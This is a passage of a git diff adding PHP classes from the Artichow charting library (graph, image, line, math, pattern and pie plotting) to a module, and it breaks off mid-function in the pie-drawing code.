$this->drawLabels(); + + if($this->timing) { + $this->drawTiming(microtimeFloat() - $time); + } + + // Create graph + $data = $this->get(); + + // Put the graph in the cache if needed + $this->cache($data); + + switch($mode) { + + case Graph::DRAW_DISPLAY : + $this->sendHeaders(); + echo $data; + break; + + case Graph::DRAW_RETURN : + return $data; + + default : + if(is_string($mode)) { + file_put_contents($mode, $data); + } else { + awImage::drawError("Class Graph: Unable to draw the graph."); + } + + } + + } + + private function drawLabels() { + + $driver = $this->getDriver(); + + foreach($this->labels as $array) { + + if(count($array) === 3) { + + // Text in relative position + list($label, $x, $y) = $array; + + $point = new awPoint( + $x * $this->width, + $y * $this->height + ); + + } else { + + // Text in absolute position + list($label, $point) = $array; + + } + + $label->draw($driver, $point); + + } + + } + + private function drawTitle() { + + $driver = $this->getDriver(); + + $point = new awPoint( + $this->width / 2, + 10 + ); + + $this->title->draw($driver, $point); + + } + + private function drawTiming($time) { + + $driver = $this->getDriver(); + + $label = new awLabel; + $label->set("(".sprintf("%.3f", $time)." s)"); + $label->setAlign(awLabel::LEFT, awLabel::TOP); + $label->border->show(); + $label->setPadding(1, 0, 0, 0); + $label->setBackgroundColor(new awColor(230, 230, 230, 25)); + + $label->draw($driver, new awPoint(5, $driver->imageHeight - 5)); + + } + + private function cache($data) { + if(ARTICHOW_CACHE and $this->name !== NULL) { + + if(is_writable(ARTICHOW_CACHE_DIRECTORY) === FALSE) { + awImage::drawError("Class Graph: Cache directory is not writable."); + } + + file_put_contents($this->fileCache, $data); + file_put_contents($this->fileCacheTime, $this->timeout."\n".$this->getFormatString()); + + } + } + + private static function cleanGraphCache($file) { + + list( + $time, + $type + ) = explode("\n", file_get_contents($file)); + + $time = (int)$time; + + if($time !== 0 and $time < time()) { + return NULL; + } else { + return $type; + } + + + } + +} + +registerClass('Graph'); + +/* + * To preserve PHP 4 compatibility + */ +function microtimeFloat() { + list($usec, $sec) = explode(" ", microtime()); + return (float)$usec + (float)$sec; +} + diff --git a/modules/graphartichow/artichow/Image.class.php b/modules/graphartichow/artichow/Image.class.php new file mode 100755 index 0000000..129508e --- /dev/null +++ b/modules/graphartichow/artichow/Image.class.php @@ -0,0 +1,606 @@ +background = new awColor(255, 255, 255); + $this->shadow = new awShadow(awShadow::RIGHT_BOTTOM); + $this->border = new awBorder; + + } + + /** + * Get driver of the image + * + * @param int $w Driver width (from 0 to 1) (default to 1) + * @param int $h Driver height (from 0 to 1) (default to 1) + * @param float $x Position on X axis of the center of the driver (default to 0.5) + * @param float $y Position on Y axis of the center of the driver (default to 0.5) + * @return Driver + */ + public function getDriver($w = 1, $h = 1, $x = 0.5, $y = 0.5) { + $this->create(); + $this->driver->setSize($w, $h); + $this->driver->setPosition($x, $y); + return $this->driver; + } + + /** + * Sets the driver that will be used to draw the graph + * + * @param string $driverString + */ + public function setDriver($driverString) { + $this->driver = $this->selectDriver($driverString); + + $this->driver->init($this); + } + + /** + * Change the image size + * + * @var int $width Image width + * @var int $height Image height + */ + public function setSize($width, $height) { + + if($width !== NULL) { + $this->width = (int)$width; + } + if($height !== NULL) { + $this->height = (int)$height; + } + + } + + /** + * Change image background + * + * @param mixed $background + */ + public function setBackground($background) { + if($background instanceof awColor) { + $this->setBackgroundColor($background); + } elseif($background instanceof awGradient) { + $this->setBackgroundGradient($background); + } + } + + /** + * Change image background color + * + * @param awColor $color + */ + public function setBackgroundColor(awColor $color) { + $this->background = $color; + } + + /** + * Change image background gradient + * + * @param awGradient $gradient + */ + public function setBackgroundGradient(awGradient $gradient) { + $this->background = $gradient; + } + + /** + * Return image background, whether a Color or a Gradient + * + * @return mixed + */ + public function getBackground() { + return $this->background; + } + + /** + * Turn antialiasing on or off + * + * @var bool $bool + */ + public function setAntiAliasing($bool) { + $this->antiAliasing = (bool)$bool; + } + + /** + * Return the antialiasing setting + * + * @return bool + */ + public function getAntiAliasing() { + return $this->antiAliasing; + } + + /** + * Change image format + * + * @var int $format New image format + */ + public function setFormat($format) { + if($format === awImage::JPEG or $format === awImage::PNG or $format === awImage::GIF) { + $this->format = $format; + } + } + + /** + * Returns the image format as an integer + * + * @return unknown + */ + public function getFormat() { + return $this->format; + } + + /** + * Returns the image format as a string + * + * @return string + */ + public function getFormatString() { + + switch($this->format) { + case awImage::JPEG : + return 'jpeg'; + case awImage::PNG : + return 'png'; + case awImage::GIF : + return 'gif'; + } + + } + + /** + * Create a new awimage + */ + public function create() { + + if($this->driver === NULL) { + $driver = $this->selectDriver($this->driverString); + + $driver->init($this); + + $this->driver = $driver; + } + + } + + /** + * Select the correct driver + * + * @param string $driver The desired driver + * @return mixed + */ + protected function selectDriver($driver) { + $drivers = array('gd'); + $driver = strtolower((string)$driver); + + if(in_array($driver, $drivers, TRUE)) { + $string = $driver; + } else { + $string = ARTICHOW_DRIVER; + } + + switch ($string) { + case 'gd': + require_once ARTICHOW.'/inc/drivers/gd.class.php'; + $this->driverString = $string; + return new awGDDriver(); + + default: + // We should never get here, unless the wrong string is used AND the ARTICHOW_DRIVER + // global has been messed with. + awImage::drawError('Class Image: Unknown driver type (\''.$string.'\')'); + break; + } + } + + /** + * Draw a component on the image + * + * @var awComponent $component A component + */ + public function drawComponent(awComponent $component) { + + $shadow = $this->shadow->getSpace(); // Image shadow + $border = $this->border->visible() ? 1 : 0; // Image border size + + $driver = clone $this->driver; + $driver->setImageSize( + $this->width - $shadow->left - $shadow->right - $border * 2, + $this->height - $shadow->top - $shadow->bottom - $border * 2 + ); + + // No absolute size specified + if($component->w === NULL and $component->h === NULL) { + + list($width, $height) = $driver->setSize($component->width, $component->height); + + // Set component size in pixels + $component->setAbsSize($width, $height); + + } else { + + $driver->setAbsSize($component->w, $component->h); + + } + + if($component->top !== NULL and $component->left !== NULL) { + $driver->setAbsPosition( + $border + $shadow->left + $component->left, + $border + $shadow->top + $component->top + ); + } else { + $driver->setPosition($component->x, $component->y); + } + + $driver->movePosition($border + $shadow->left, $border + $shadow->top); + + list($x1, $y1, $x2, $y2) = $component->getPosition(); + + $component->init($driver); + + $component->drawComponent($driver, $x1, $y1, $x2, $y2, $this->antiAliasing); + $component->drawEnvelope($driver, $x1, $y1, $x2, $y2); + + $component->finalize($driver); + + } + + protected function drawShadow() { + + $driver = $this->getDriver(); + + $this->shadow->draw( + $driver, + new awPoint(0, 0), + new awPoint($this->width, $this->height), + awShadow::IN + ); + + } + + /** + * Send the image into a file or to the user browser + * + */ + public function send() { + $this->driver->send($this); + } + + /** + * Return the image content as binary data + * + */ + public function get() { + return $this->driver->get($this); + } + + /** + * Send the correct HTTP header according to the image type + * + */ + public function sendHeaders() { + + if(headers_sent() === FALSE) { + + switch ($this->driverString) { + case 'gd' : + header('Content-type: image/'.$this->getFormatString()); + break; + + } + + } + + } + + + private static $errorWriting = FALSE; + + + /* + * Display an error image and exit + * + * @param string $message Error message + */ + public static function drawError($message) { + + + if(self::$errorWriting) { + return; + } + + self::$errorWriting = TRUE; + + $message = wordwrap($message, 40, "\n", TRUE); + + $width = 400; + $height = max(100, 40 + 22.5 * (substr_count($message, "\n") + 1)); + + $image = new awImage(); + $image->setSize($width, $height); + $image->setDriver('gd'); + + $driver = $image->getDriver(); + $driver->init($image); + + // Display title + $driver->filledRectangle( + new awWhite, + new awLine( + new awPoint(0, 0), + new awPoint($width, $height) + ) + ); + + $driver->filledRectangle( + new awRed, + new awLine( + new awPoint(0, 0), + new awPoint(110, 25) + ) + ); + + $text = new awText( + "Artichow error", + new awFont3, + new awWhite, + 0 + ); + + $driver->string($text, new awPoint(5, 6)); + + // Display red box + $driver->rectangle( + new awRed, + new awLine( + new awPoint(0, 25), + new awPoint($width - 90, $height - 1) + ) + ); + + // Display error image + $file = ARTICHOW_IMAGE.DIRECTORY_SEPARATOR.'error.png'; + + $imageError = new awFileImage($file); + $driver->copyImage( + $imageError, + new awPoint($width - 81, $height - 81), + new awPoint($width - 1, $height - 1) + ); + + // Draw message + $text = new awText( + strip_tags($message), + new awFont2, + new awBlack, + 0 + ); + + $driver->string($text, new awPoint(10, 40)); + + $image->send(); + + exit; + + } + + /* + * Display an error image located in a file and exit + * + * @param string $error Error name + */ + public static function drawErrorFile($error) { + + $file = ARTICHOW_IMAGE.DIRECTORY_SEPARATOR.'errors'.DIRECTORY_SEPARATOR.$error.'.png'; + + header("Content-Type: image/png"); + readfile($file); + exit; + + } + +} + +registerClass('Image'); + + +/** + * Load an image from a file + * + * @package Artichow + */ +class awFileImage extends awImage { + + /** + * Build a new awimage + * + * @param string $file Image file name + */ + public function __construct($file) { + + $driver = $this->selectDriver($this->driverString); + + $driver->initFromFile($this, $file); + + $this->driver = $driver; + + } + +} + +registerClass('FileImage'); + + diff --git a/modules/graphartichow/artichow/LinePlot.class.php b/modules/graphartichow/artichow/LinePlot.class.php new file mode 100755 index 0000000..e2a494c --- /dev/null +++ b/modules/graphartichow/artichow/LinePlot.class.php @@ -0,0 +1,585 @@ +mark = new awMark; + $this->label = new awLabel; + + $this->lineMode = (int)$mode; + + $this->setValues($values); + + } + + /** + * Hide line + * + * @param bool $hide + */ + public function hideLine($hide) { + $this->lineHide = (bool)$hide; + } + + /** + * Add a filled area + * + * @param int $start Begining of the area + * @param int $end End of the area + * @param mixed $background Background color or gradient of the area + */ + public function setFilledArea($start, $stop, $background) { + + if($stop <= $start) { + awImage::drawError("Class LinePlot: End position can not be greater than begin position in setFilledArea()."); + } + + $this->areas[] = array((int)$start, (int)$stop, $background); + + } + + /** + * Change line color + * + * @param awColor $color + */ + public function setColor(awColor $color) { + $this->lineColor = $color; + } + + /** + * Change line style + * + * @param int $style + */ + public function setStyle($style) { + $this->lineStyle = (int)$style; + } + + /** + * Change line tickness + * + * @param int $tickness + */ + public function setThickness($tickness) { + $this->lineThickness = (int)$tickness; + } + + /** + * Change line background color + * + * @param awColor $color + */ + public function setFillColor(awColor $color) { + $this->lineBackground = $color; + } + + /** + * Change line background gradient + * + * @param awGradient $gradient + */ + public function setFillGradient(awGradient $gradient) { + $this->lineBackground = $gradient; + } + + /** + * Get the line thickness + * + * @return int + */ + public function getLegendLineThickness() { + return $this->lineThickness; + } + + /** + * Get the line type + * + * @return int + */ + public function getLegendLineStyle() { + return $this->lineStyle; + } + + /** + * Get the color of line + * + * @return Color + */ + public function getLegendLineColor() { + return $this->lineColor; + } + + /** + * Get the background color or gradient of an element of the component + * + * @return Color, Gradient + */ + public function getLegendBackground() { + return $this->lineBackground; + } + + /** + * Get a mark object + * + * @return Mark + */ + public function getLegendMark() { + return $this->mark; + } + + public function drawComponent(awDriver $driver, $x1, $y1, $x2, $y2, $aliasing) { + + $max = $this->getRealYMax(); + $min = $this->getRealYMin(); + + // Get start and stop values + list($start, $stop) = $this->getLimit(); + + if($this->lineMode === awLinePlot::MIDDLE) { + $inc = $this->xAxis->getDistance(0, 1) / 2; + } else { + $inc = 0; + } + + // Build the polygon + $polygon = new awPolygon; + + for($key = $start; $key <= $stop; $key++) { + + $value = $this->datay[$key]; + + if($value !== NULL) { + + $p = awAxis::toPosition($this->xAxis, $this->yAxis, new awPoint($key, $value)); + $p = $p->move($inc, 0); + $polygon->set($key, $p); + + } + + } + + // Draw backgrounds + if($this->lineBackground instanceof awColor or $this->lineBackground instanceof awGradient) { + + $backgroundPolygon = new awPolygon; + + $p = $this->xAxisPoint($start); + $p = $p->move($inc, 0); + $backgroundPolygon->append($p); + + // Add others points + foreach($polygon->all() as $point) { + $backgroundPolygon->append(clone $point); + } + + $p = $this->xAxisPoint($stop); + $p = $p->move($inc, 0); + $backgroundPolygon->append($p); + + // Draw polygon background + $driver->filledPolygon($this->lineBackground, $backgroundPolygon); + + } + + $this->drawArea($driver, $polygon); + + // Draw line + $prev = NULL; + + // Line color + if($this->lineHide === FALSE) { + + if($this->lineColor === NULL) { + $this->lineColor = new awColor(0, 0, 0); + } + + foreach($polygon->all() as $point) { + + if($prev !== NULL) { + $driver->line( + $this->lineColor, + new awLine( + $prev, + $point, + $this->lineStyle, + $this->lineThickness + ) + ); + } + $prev = $point; + + } + + } + + // Draw marks and labels + foreach($polygon->all() as $key => $point) { + + $this->mark->draw($driver, $point); + $this->label->draw($driver, $point, $key); + + } + + } + + protected function drawArea(awDriver $driver, awPolygon $polygon) { + + $starts = array(); + foreach($this->areas as $area) { + list($start) = $area; + $starts[$start] = TRUE; + } + + // Draw filled areas + foreach($this->areas as $area) { + + list($start, $stop, $background) = $area; + + $polygonArea = new awPolygon; + + $p = $this->xAxisPoint($start); + $polygonArea->append($p); + + for($i = $start; $i <= $stop; $i++) { + $p = clone $polygon->get($i); + if($i === $stop and array_key_exists($stop, $starts)) { + $p = $p->move(-1, 0); + } + $polygonArea->append($p); + } + + $p = $this->xAxisPoint($stop); + if(array_key_exists($stop, $starts)) { + $p = $p->move(-1, 0); + } + $polygonArea->append($p); + + // Draw area + $driver->filledPolygon($background, $polygonArea); + + } + + } + + public function getXAxisNumber() { + if($this->lineMode === awLinePlot::MIDDLE) { + return count($this->datay) + 1; + } else { + return count($this->datay); + } + } + + protected function xAxisPoint($position) { + $y = $this->xAxisZero ? 0 : $this->getRealYMin(); + return awAxis::toPosition($this->xAxis, $this->yAxis, new awPoint($position, $y)); + } + + public function getXCenter() { + return ($this->lineMode === awLinePlot::MIDDLE); + } + +} + +registerClass('LinePlot'); + + +/** + * Simple LinePlot + * Useful to draw simple horizontal lines + * + * @package Artichow + */ +class awSimpleLinePlot extends awPlot implements awLegendable { + + /** + * Line color + * + * @var Color + */ + protected $lineColor; + + /** + * Line start + * + * @var int + */ + protected $lineStart; + + /** + * Line stop + * + * @var int + */ + protected $lineStop; + + /** + * Line value + * + * @var flaot + */ + protected $lineValue; + + /** + * Line mode + * + * @var int + */ + protected $lineMode = awLinePlot::LINE; + + /** + * Line type + * + * @var int + */ + protected $lineStyle = awLine::SOLID; + + /** + * Line thickness + * + * @var int + */ + protected $lineThickness = 1; + + /** + * Line mode + * + * @var int + */ + const LINE = 0; + + /** + * Line in the middle + * + * @var int + */ + const MIDDLE = 1; + + /** + * Construct a new awLinePlot + * + * @param float $value A Y value + * @param int $start Line start index + * @param int $stop Line stop index + * @param int $mode Line mode + */ + public function __construct($value, $start, $stop, $mode = awLinePlot::LINE) { + + parent::__construct(); + + $this->lineMode = (int)$mode; + + $this->lineStart = (int)$start; + $this->lineStop = (int)$stop; + $this->lineValue = (float)$value; + + $this->lineColor = new awColor(0, 0, 0); + + } + + /** + * Change line color + * + * @param awColor $color + */ + public function setColor(awColor $color) { + $this->lineColor = $color; + } + + /** + * Change line style + * + * @param int $style + */ + public function setStyle($style) { + $this->lineStyle = (int)$style; + } + + /** + * Change line tickness + * + * @param int $tickness + */ + public function setThickness($tickness) { + $this->lineThickness = (int)$tickness; + } + + /** + * Get the line thickness + * + * @return int + */ + public function getLegendLineThickness() { + return $this->lineThickness; + } + + /** + * Get the line type + * + * @return int + */ + public function getLegendLineStyle() { + return $this->lineStyle; + } + + /** + * Get the color of line + * + * @return Color + */ + public function getLegendLineColor() { + return $this->lineColor; + } + + public function getLegendBackground() { + return NULL; + } + + public function getLegendMark() { + return NULL; + } + + public function drawComponent(awDriver $driver, $x1, $y1, $x2, $y2, $aliasing) { + + if($this->lineMode === awLinePlot::MIDDLE) { + $inc = $this->xAxis->getDistance(0, 1) / 2; + } else { + $inc = 0; + } + + $p1 = awAxis::toPosition($this->xAxis, $this->yAxis, new awPoint($this->lineStart, $this->lineValue)); + $p2 = awAxis::toPosition($this->xAxis, $this->yAxis, new awPoint($this->lineStop, $this->lineValue)); + + $driver->line( + $this->lineColor, + new awLine( + $p1->move($inc, 0), + $p2->move($inc, 0), + $this->lineStyle, + $this->lineThickness + ) + ); +} + + public function getXAxisNumber() { + if($this->lineMode === awLinePlot::MIDDLE) { + return count($this->datay) + 1; + } else { + return count($this->datay); + } + } + + protected function xAxisPoint($position) { + $y = $this->xAxisZero ? 0 : $this->getRealYMin(); + return awAxis::toPosition($this->xAxis, $this->yAxis, new awPoint($position, $y)); + } + + public function getXCenter() { + return ($this->lineMode === awLinePlot::MIDDLE); + } + +} + +registerClass('SimpleLinePlot'); + diff --git a/modules/graphartichow/artichow/MathPlot.class.php b/modules/graphartichow/artichow/MathPlot.class.php new file mode 100755 index 0000000..7d31820 --- /dev/null +++ b/modules/graphartichow/artichow/MathPlot.class.php @@ -0,0 +1,438 @@ +f = (string)$f; + $this->fromX = is_null($fromX) ? NULL : (float)$fromX; + $this->toX = is_null($toX) ? NULL : (float)$toX; + + $this->line = new awLine; + $this->mark = new awMark; + $this->color = new awBlack; + + } + + /** + * Change line color + * + * @param awColor $color A new awcolor + */ + public function setColor(awColor $color) { + $this->color = $color; + } + + /** + * Get line color + * + * @return Color + */ + public function getColor() { + return $this->color; + } + + /** + * Get the background color or gradient of an element of the component + * + * @return Color, Gradient + */ + public function getLegendBackground() { + } + + /** + * Get the line thickness + * + * @return NULL + */ + public function getLegendLineThickness() { + return $this->line->getThickness(); + } + + /** + * Get the line type + * + * @return NULL + */ + public function getLegendLineStyle() { + return $this->line->getStyle(); + } + + /** + * Get the color of line + * + * @return NULL + */ + public function getLegendLineColor() { + return $this->color; + } + + /** + * Get a mark object + * + * @return NULL + */ + public function getLegendMark() { + return $this->mark; + } + +} + +registerClass('MathFunction'); + +/** + * For mathematics functions + * + * @package Artichow + */ +class awMathPlot extends awComponent { + + /** + * Functions + * + * @var array + */ + protected $functions = array(); + + /** + * Grid properties + * + * @var Grid + */ + public $grid; + + /** + * X axis + * + * @var Axis + */ + public $xAxis; + + /** + * Y axis + * + * @var Axis + */ + public $yAxis; + + /** + * Extremum + * + * @var Side + */ + private $extremum = NULL; + + /** + * Interval + * + * @var float + */ + private $interval = 1; + + /** + * Build the plot + * + * @param int $xMin Minimum X value + * @param int $xMax Maximum X value + * @param int $yMax Maximum Y value + * @param int $yMin Minimum Y value + */ + public function __construct($xMin, $xMax, $yMax, $yMin) { + + parent::__construct(); + + $this->setPadding(8, 8, 8, 8); + + $this->grid = new awGrid; + + // Hide grid by default + $this->grid->hide(TRUE); + + // Set extremum + $this->extremum = new awSide($xMin, $xMax, $yMax, $yMin); + + // Create axis + $this->xAxis = new awAxis; + $this->xAxis->setTickStyle(awTick::IN); + $this->xAxis->label->hideValue(0); + $this->initAxis($this->xAxis); + + $this->yAxis = new awAxis; + $this->yAxis->setTickStyle(awTick::IN); + $this->yAxis->label->hideValue(0); + $this->initAxis($this->yAxis); + + } + + protected function initAxis(awAxis $axis) { + + $axis->setLabelPrecision(1); + $axis->addTick('major', new awTick(0, 5)); + $axis->addTick('minor', new awTick(0, 3)); + $axis->addTick('micro', new awTick(0, 1)); + $axis->setNumberByTick('minor', 'major', 1); + $axis->setNumberByTick('micro', 'minor', 4); + $axis->label->setFont(new awTuffy(7)); + + } + + /** + * Interval to calculate values + * + * @param float $interval + */ + public function setInterval($interval) { + $this->interval = (float)$interval; + } + + /** + * Add a formula f(x) + * + * @param awMathFunction $function + * @param string $name Name for the legend (can be NULL if you don't want to set a legend) + * @param int $type Type for the legend + */ + public function add(awMathFunction $function, $name = NULL, $type = awLegend::LINE) { + + $this->functions[] = $function; + + if($name !== NULL) { + $this->legend->add($function, $name, $type); + } + + } + + public function init(awDriver $driver) { + + list($x1, $y1, $x2, $y2) = $this->getPosition(); + + $this->xAxis->line->setX($x1, $x2); + $this->xAxis->label->setAlign(NULL, awLabel::BOTTOM); + $this->xAxis->label->move(0, 3); + $this->xAxis->setRange($this->extremum->left, $this->extremum->right); + + $this->yAxis->line->setY($y2, $y1); + $this->yAxis->label->setAlign(awLabel::RIGHT); + $this->yAxis->label->move(-6, 0); + $this->yAxis->reverseTickStyle(); + $this->yAxis->setRange($this->extremum->bottom, $this->extremum->top); + + + $this->xAxis->setYCenter($this->yAxis, 0); + $this->yAxis->setXCenter($this->xAxis, 0); + + if($this->yAxis->getLabelNumber() === NULL) { + $number = $this->extremum->top - $this->extremum->bottom + 1; + $this->yAxis->setLabelNumber($number); + } + + if($this->xAxis->getLabelNumber() === NULL) { + $number = $this->extremum->right - $this->extremum->left + 1; + $this->xAxis->setLabelNumber($number); + } + + // Set ticks + + $this->xAxis->tick('major')->setNumber($this->xAxis->getLabelNumber()); + $this->yAxis->tick('major')->setNumber($this->yAxis->getLabelNumber()); + + + // Set axis labels + $labels = array(); + for($i = 0, $count = $this->xAxis->getLabelNumber(); $i < $count; $i++) { + $labels[] = $i; + } + $this->xAxis->label->set($labels); + + $labels = array(); + for($i = 0, $count = $this->yAxis->getLabelNumber(); $i < $count; $i++) { + $labels[] = $i; + } + $this->yAxis->label->set($labels); + + parent::init($driver); + + // Create the grid + $this->createGrid(); + + // Draw the grid + $this->grid->draw($driver, $x1, $y1, $x2, $y2); + + } + + public function drawEnvelope(awDriver $driver) { + + // Draw axis + $this->xAxis->draw($driver); + $this->yAxis->draw($driver); + + } + + public function drawComponent(awDriver $driver, $x1, $y1, $x2, $y2, $aliasing) { + + foreach($this->functions as $function) { + + $f = $function->f; + $fromX = is_null($function->fromX) ? $this->extremum->left : $function->fromX; + $toX = is_null($function->toX) ? $this->extremum->right : $function->toX; + + $old = NULL; + + for($i = $fromX; $i <= $toX; $i += $this->interval) { + + $p = awAxis::toPosition($this->xAxis, $this->yAxis, new awPoint($i, $f($i))); + + if($p->y >= $y1 and $p->y <= $y2) { + $function->mark->draw($driver, $p); + } + + if($old !== NULL) { + + $line = $function->line; + $line->setLocation($old, $p); + + if( + ($line->p1->y >= $y1 and $line->p1->y <= $y2) or + ($line->p2->y >= $y1 and $line->p2->y <= $y2) + ) { + $driver->line( + $function->getColor(), + $line + ); + } + + } + + $old = $p; + + } + + // Draw last point if needed + if($old !== NULL and $i - $this->interval != $toX) { + + $p = awAxis::toPosition($this->xAxis, $this->yAxis, new awPoint($toX, $f($toX))); + + if($p->y >= $y1 and $p->y <= $y2) { + $function->mark->draw($driver, $p); + } + + + $line = $function->line; + $line->setLocation($old, $p); + + if( + ($line->p1->y >= $y1 and $line->p1->y <= $y2) or + ($line->p2->y >= $y1 and $line->p2->y <= $y2) + ) { + $driver->line( + $function->getColor(), + $line + ); + } + + } + + } + + } + + protected function createGrid() { + + // Horizontal lines of the grid + + $major = $this->yAxis->tick('major'); + $interval = $major->getInterval(); + $number = $this->yAxis->getLabelNumber() - 1; + + $h = array(); + if($number > 0) { + for($i = 0; $i <= $number; $i++) { + $h[] = $i / $number; + } + } + + // Vertical lines + + $major = $this->xAxis->tick('major'); + $interval = $major->getInterval(); + $number = $this->xAxis->getLabelNumber() - 1; + + $w = array(); + if($number > 0) { + for($i = 0; $i <= $number; $i++) { + if($i%$interval === 0) { + $w[] = $i / $number; + } + } + } + + $this->grid->setGrid($w, $h); + + } + +} + +registerClass('MathPlot'); diff --git a/modules/graphartichow/artichow/Pattern.class.php b/modules/graphartichow/artichow/Pattern.class.php new file mode 100755 index 0000000..0eee7e1 --- /dev/null +++ b/modules/graphartichow/artichow/Pattern.class.php @@ -0,0 +1,96 @@ +args[$name] = $value; + } + } + + /** + * Get an argument + * + * @param string $name + * @param mixed $default Default value if the argument does not exist (default to NULL) + * @return mixed Argument value + */ + protected function getArg($name, $default = NULL) { + if(array_key_exists($name, $this->args)) { + return $this->args[$name]; + } else { + return $default; + } + } + + /** + * Change several arguments + * + * @param array $args New arguments + */ + public function setArgs($args) { + if(is_array($args)) { + foreach($args as $name => $value) { + $this->setArg($name, $value); + } + } + } + +} + +registerClass('Pattern', TRUE); diff --git a/modules/graphartichow/artichow/Pie.class.php b/modules/graphartichow/artichow/Pie.class.php new file mode 100755 index 0000000..8dec478 --- /dev/null +++ b/modules/graphartichow/artichow/Pie.class.php @@ -0,0 +1,694 @@ +setValues($values); + + if(is_array($colors)) { + $this->colors = $colors; + } else { + + switch($colors) { + + case awPie::AQUA : + $this->colors = array( + new awColor(131, 220, 215), + new awColor(131, 190, 215), + new awColor(131, 160, 215), + new awColor(160, 140, 215), + new awColor(190, 131, 215), + new awColor(220, 131, 215) + ); + break; + + case awPie::EARTH : + $this->colors = array( + new awColor(97, 179, 110), + new awColor(130, 179, 97), + new awColor(168, 179, 97), + new awColor(179, 147, 97), + new awColor(179, 108, 97), + new awColor(99, 107, 189), + new awColor(99, 165, 189) + ); + break; + + case awPie::DARK : + $this->colors = array( + new awColor(140, 100, 170), + new awColor(130, 170, 100), + new awColor(160, 160, 120), + new awColor(150, 110, 140), + new awColor(130, 150, 160), + new awColor(90, 170, 140) + ); + break; + + default : + $this->colors = array( + new awColor(187, 213, 151), + new awColor(223, 177, 151), + new awColor(111, 186, 132), + new awColor(197, 160, 230), + new awColor(165, 169, 63), + new awColor(218, 177, 89), + new awColor(116, 205, 121), + new awColor(200, 201, 78), + new awColor(127, 205, 177), + new awColor(205, 160, 160), + new awColor(190, 190, 190) + ); + break; + + } + + } + + parent::__construct(); + + $this->label = new awLabel; + $this->label->setCallbackFunction('callbackPerCent'); + + } + + /** + * Change legend values + * + * @param array $legend An array of values for each part of the pie + */ + public function setLegend($legend) { + + $this->legendValues = (array)$legend; + + } + + /** + * Set a border all around the pie + * + * @param awColor $color A color for the border + */ + public function setBorderColor(awColor $color) { + $this->border = $color; + } + + /** + * Set a border all around the pie + * + * @param awColor $color A color for the border + */ + public function setBorder(awColor $color) { + if(ARTICHOW_DEPRECATED === TRUE) { + awImage::drawError('Class Pie: Method setBorder() has been deprecated since Artichow 1.0.9. Please use setBorderColor() instead.'); + } else { + $this->setBorderColor($color); + } + } + + /** + * Change 3D effect intensity + * + * @param int $size Effect size + */ + public function set3D($size) { + $this->size = (int)$size; + } + + /** + * Change initial angle + * + * @param int $angle New angle in degrees + */ + public function setStartAngle($angle) { + $this->angle = (int)$angle; + } + + /** + * Change label precision + * + * @param int $precision New precision + */ + public function setLabelPrecision($precision) { + $this->precision = (int)$precision; + } + + /** + * Change label position + * + * @param int $position New position in pixels + */ + public function setLabelPosition($position) { + $this->position = (int)$position; + } + + /** + * Change label number + * + * @param int $number New number + */ + public function setLabelNumber($number) { + $this->number = is_null($number) ? $number : (int)$number; + } + + /** + * Change label minimum + * + * @param int $minimum New minimum + */ + public function setLabelMinimum($minimum) { + $this->minimum = is_null($minimum) ? $minimum : (int)$minimum; + } + + /** + * Change Pie explode + * + * @param array $explode + */ + public function explode($explode) { + $this->explode = (array)$explode; + } + + public function drawEnvelope(awDriver $driver) { + + } + + public function drawComponent(awDriver $driver, $x1, $y1, $x2, $y2, $aliasing) { + + $count = count($this->values); + $sum = array_sum($this->values); + + $width = $x2 - $x1; + $height = $y2 - $y1; + + if($aliasing) { + $x = $width / 2; + $y = $height / 2; + } else { + $x = $width / 2 + $x1; + $y = $height / 2 + $y1; + } + + $position = $this->angle; + $values = array(); + $parts = array(); + $angles = 0; + + if($aliasing) { + $side = new awSide(0, 0, 0, 0); + } + + foreach($this->values as $key => $value) { + + $angle = ($value / $sum * 360); + + if($key === $count - 1) { + $angle = 360 - $angles; + } + + $angles += $angle; + + if(array_key_exists($key, $this->explode)) { + $middle = 360 - ($position + $angle / 2); + $posX = $this->explode[$key] * cos($middle * M_PI / 180); + $posY = $this->explode[$key] * sin($middle * M_PI / 180) * -1; + + if($aliasing) { + $explode = new awPoint( + $posX * 2, + $posY * 2 + ); + $side->set( + max($side->left, $posX * -2), + max($side->right, $posX * 2), + max($side->top, $posY * -2), + max($side->bottom, $posY * 2) + ); + } else { + $explode = new awPoint( + $posX, + $posY + ); + } + + } else { + $explode = new awPoint(0, 0); + } + + $values[$key] = array( + $position, ($position + $angle), $explode + ); + + $color = $this->colors[$key % count($this->colors)]; + $parts[$key] = new awPiePart($color); + + // Add part to the legend + $legend = array_key_exists($key, $this->legendValues) ? $this->legendValues[$key] : $key; + $this->legend->add($parts[$key], $legend, awLegend::BACKGROUND); + + $position += $angle; + + } + + if($aliasing) { + + $mainDriver = $driver; + + $x *= 2; + $y *= 2; + $width *= 2; + $height *= 2; + $this->size *= 2; + + $image = new awImage; + $image->border->hide(); + + // Adds support for antialiased pies on non-white background + $background = $this->getBackground(); + + if($background instanceof awColor) { + $image->setBackgroundColor($background); + } +// elseif($background instanceof awGradient) { +// $image->setBackgroundColor(new White(100)); +// } + + $image->setSize( + $width + $side->left + $side->right, + $height + $side->top + $side->bottom + $this->size + 1 /* bugs.php.net ! */ + ); + + $driver = $image->getDriver( + $width / $image->width, + $height / $image->height, + ($width / 2 + $side->left) / $image->width, + ($height / 2 + $side->top) / $image->height + ); + + } + + // Draw 3D effect + for($i = $this->size; $i > 0; $i--) { + + foreach($values as $key => $value) { + + $color = clone $this->colors[$key % count($this->colors)]; + $color->brightness(-50); + + list($from, $to, $explode) = $value; + + $driver->filledArc($color, $explode->move($x, $y + $i), $width, $height, $from, $to); + + unset($color); + + if($this->border instanceof awColor) { + + $point = $explode->move($x, $y); + + if($i === $this->size) { + + $driver->arc($this->border, $point->move(0, $this->size), $width, $height, $from, $to); + + } + + } + + } + + } + + foreach($values as $key => $value) { + + $color = $this->colors[$key % count($this->colors)]; + + list($from, $to, $explode) = $value; + + $driver->filledArc($color, $explode->move($x, $y), $width, $height, $from, $to); + + if($this->border instanceof awColor) { + + $point = $explode->move($x, $y); + $driver->arc($this->border, $point, $width, $height, $from, $to); + } + + } + + if($aliasing) { + + $x = $x / 2 + $x1; + $y = $y / 2 + $y1; + $width /= 2; + $height /= 2; + $this->size /= 2; + + foreach($values as $key => $value) { + $old = $values[$key][2]; + $values[$key][2] = new awPoint( + $old->x / 2, $old->y / 2 + ); + } + + $mainDriver->copyResizeImage( + $image, + new awPoint($x1 - $side->left / 2, $y1 - $side->top / 2), + new awPoint($x1 - $side->left / 2 + $image->width / 2, $y1 - $side->top / 2 + $image->height/ 2), + new awPoint(0, 0), + new awPoint($image->width, 